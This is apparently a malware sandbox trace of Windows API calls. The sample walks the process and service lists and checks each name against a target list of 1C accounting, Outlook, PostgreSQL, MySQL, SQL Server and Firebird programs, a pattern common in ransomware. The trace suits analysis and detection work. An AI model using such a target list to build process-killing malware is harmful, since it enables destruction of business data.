	[0255.532] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0255.532] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0255.532] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0255.532] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0255.532] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0255.532] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0255.532] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0255.532] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0255.533] lstrlenW (lpString="svchost.exe") returned 11
	[0255.533] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0255.533] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0255.533] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0255.533] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0255.533] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0255.533] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0255.533] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0255.533] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0255.533] lstrlenW (lpString="svchost.exe") returned 11
	[0255.533] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0255.533] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0255.533] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0255.533] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0255.533] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0255.533] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0255.533] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0255.533] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0255.534] lstrlenW (lpString="svchost.exe") returned 11
	[0255.534] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0255.534] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0255.534] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0255.534] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0255.534] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0255.534] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0255.534] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0255.534] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0255.534] lstrlenW (lpString="audiodg.exe") returned 11
	[0255.534] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0255.534] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0255.534] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0255.534] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0255.534] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0255.534] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0255.534] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0255.534] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0255.535] lstrlenW (lpString="svchost.exe") returned 11
	[0255.535] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0255.535] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0255.535] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0255.535] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0255.535] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0255.535] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0255.535] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0255.535] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0255.535] lstrlenW (lpString="userinit.exe") returned 12
	[0255.535] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0255.535] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0255.536] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0255.536] lstrlenW (lpString="explorer.exe") returned 12
	[0255.536] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0255.536] lstrlenW (lpString="dwm.exe") returned 7
	[0255.536] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0255.536] lstrlenW (lpString="svchost.exe") returned 11
	[0255.536] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0255.537] lstrlenW (lpString="swpesp.exe") returned 10
	[0255.537] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0255.537] lstrlenW (lpString="spoolsv.exe") returned 11
	[0255.537] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0255.538] lstrlenW (lpString="dllhost.exe") returned 11
	[0255.538] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0255.538] lstrlenW (lpString="taskhost.exe") returned 12
	[0255.538] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0255.538] lstrlenW (lpString="svchost.exe") returned 11
	[0255.538] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0255.539] lstrlenW (lpString="reader_sl.exe") returned 13
	[0255.539] Process32NextW (in: hSnapshot=0x358, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0
	[0255.539] CloseHandle (hObject=0x358) returned 1
	[0255.539] Sleep (dwMilliseconds=0x1f4) 
	[0256.095] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4280838
	[0256.197] EnumServicesStatusExW (in: hSCManager=0x4280838, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0256.199] GetLastError () returned 0xea
	[0256.199] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xba0) returned 0x41f5d68
	[0256.199] EnumServicesStatusExW (in: hSCManager=0x4280838, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f5d68, cbBufSize=0xba0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f5d68, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0256.200] CloseServiceHandle (hSCObject=0x4280838) returned 1
	[0256.200] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0256.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0256.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0256.200] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0256.200] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0256.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0256.200] lstrlenW (lpString="AudioSrv") returned 8
	[0256.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0256.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0256.200] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0256.200] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0256.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0256.200] lstrlenW (lpString="BFE") returned 3
	[0256.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0256.200] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0256.200] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0256.200] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0256.200] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0256.200] lstrlenW (lpString="CryptSvc") returned 8
	[0256.200] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0256.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0256.201] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0256.201] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0256.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0256.201] lstrlenW (lpString="CscService") returned 10
	[0256.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0256.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0256.201] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0256.201] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0256.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0256.201] lstrlenW (lpString="DcomLaunch") returned 10
	[0256.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0256.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0256.201] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0256.201] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0256.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0256.201] lstrlenW (lpString="Dhcp") returned 4
	[0256.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0256.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0256.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0256.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0256.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0256.201] lstrlenW (lpString="Dnscache") returned 8
	[0256.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0256.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0256.201] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0256.201] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0256.201] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0256.201] lstrlenW (lpString="DPS") returned 3
	[0256.201] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0256.201] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0256.202] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0256.202] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0256.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0256.202] lstrlenW (lpString="eventlog") returned 8
	[0256.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0256.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0256.202] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0256.202] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0256.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0256.202] lstrlenW (lpString="EventSystem") returned 11
	[0256.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0256.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0256.202] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0256.202] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0256.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0256.202] lstrlenW (lpString="gpsvc") returned 5
	[0256.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0256.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0256.202] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0256.202] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0256.202] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0256.202] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0256.202] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0256.202] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0256.203] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0256.203] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0256.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0256.203] lstrlenW (lpString="lmhosts") returned 7
	[0256.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0256.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0256.203] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0256.203] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0256.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0256.203] lstrlenW (lpString="MMCSS") returned 5
	[0256.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0256.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0256.203] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0256.203] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0256.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0256.203] lstrlenW (lpString="MpsSvc") returned 6
	[0256.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0256.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0256.203] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0256.203] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0256.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0256.203] lstrlenW (lpString="nsi") returned 3
	[0256.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0256.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0256.203] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0256.203] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0256.203] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0256.203] lstrlenW (lpString="PlugPlay") returned 8
	[0256.203] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0256.203] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0256.203] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0256.204] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0256.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0256.204] lstrlenW (lpString="Power") returned 5
	[0256.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0256.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0256.204] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0256.204] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0256.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0256.204] lstrlenW (lpString="ProfSvc") returned 7
	[0256.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0256.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0256.204] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0256.204] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0256.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0256.204] lstrlenW (lpString="RpcEptMapper") returned 12
	[0256.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0256.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0256.204] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0256.204] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0256.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0256.204] lstrlenW (lpString="RpcSs") returned 5
	[0256.204] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0256.204] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0256.204] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0256.204] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0256.204] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0256.204] lstrlenW (lpString="SamSs") returned 5
	[0256.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0256.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0256.205] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0256.205] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0256.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0256.205] lstrlenW (lpString="Schedule") returned 8
	[0256.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0256.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0256.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0256.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0256.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0256.205] lstrlenW (lpString="SENS") returned 4
	[0256.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0256.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0256.205] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0256.205] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0256.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0256.205] lstrlenW (lpString="ShellHWDetection") returned 16
	[0256.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0256.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0256.205] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0256.205] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0256.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0256.205] lstrlenW (lpString="Spooler") returned 7
	[0256.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0256.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0256.205] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0256.205] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0256.205] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0256.205] lstrlenW (lpString="Themes") returned 6
	[0256.205] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0256.205] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0256.206] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0256.206] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0256.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0256.206] lstrlenW (lpString="UxSms") returned 5
	[0256.206] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0256.206] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0256.206] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0256.206] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0256.206] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0256.206] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x41f5d68 | out: hHeap=0x4a0000) returned 1
	[0256.206] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344
	[0256.207] Process32FirstW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0256.207] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0256.208] lstrlenW (lpString="System") returned 6
	[0256.208] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0256.208] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0256.208] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0256.208] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0256.208] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0256.208] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0256.208] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0256.208] Process32NextW (in: hSnapshot=0x344, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0256.209] lstrlenW (lpString="smss.exe") returned 8
	[0256.209] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0256.209] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0256.209] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
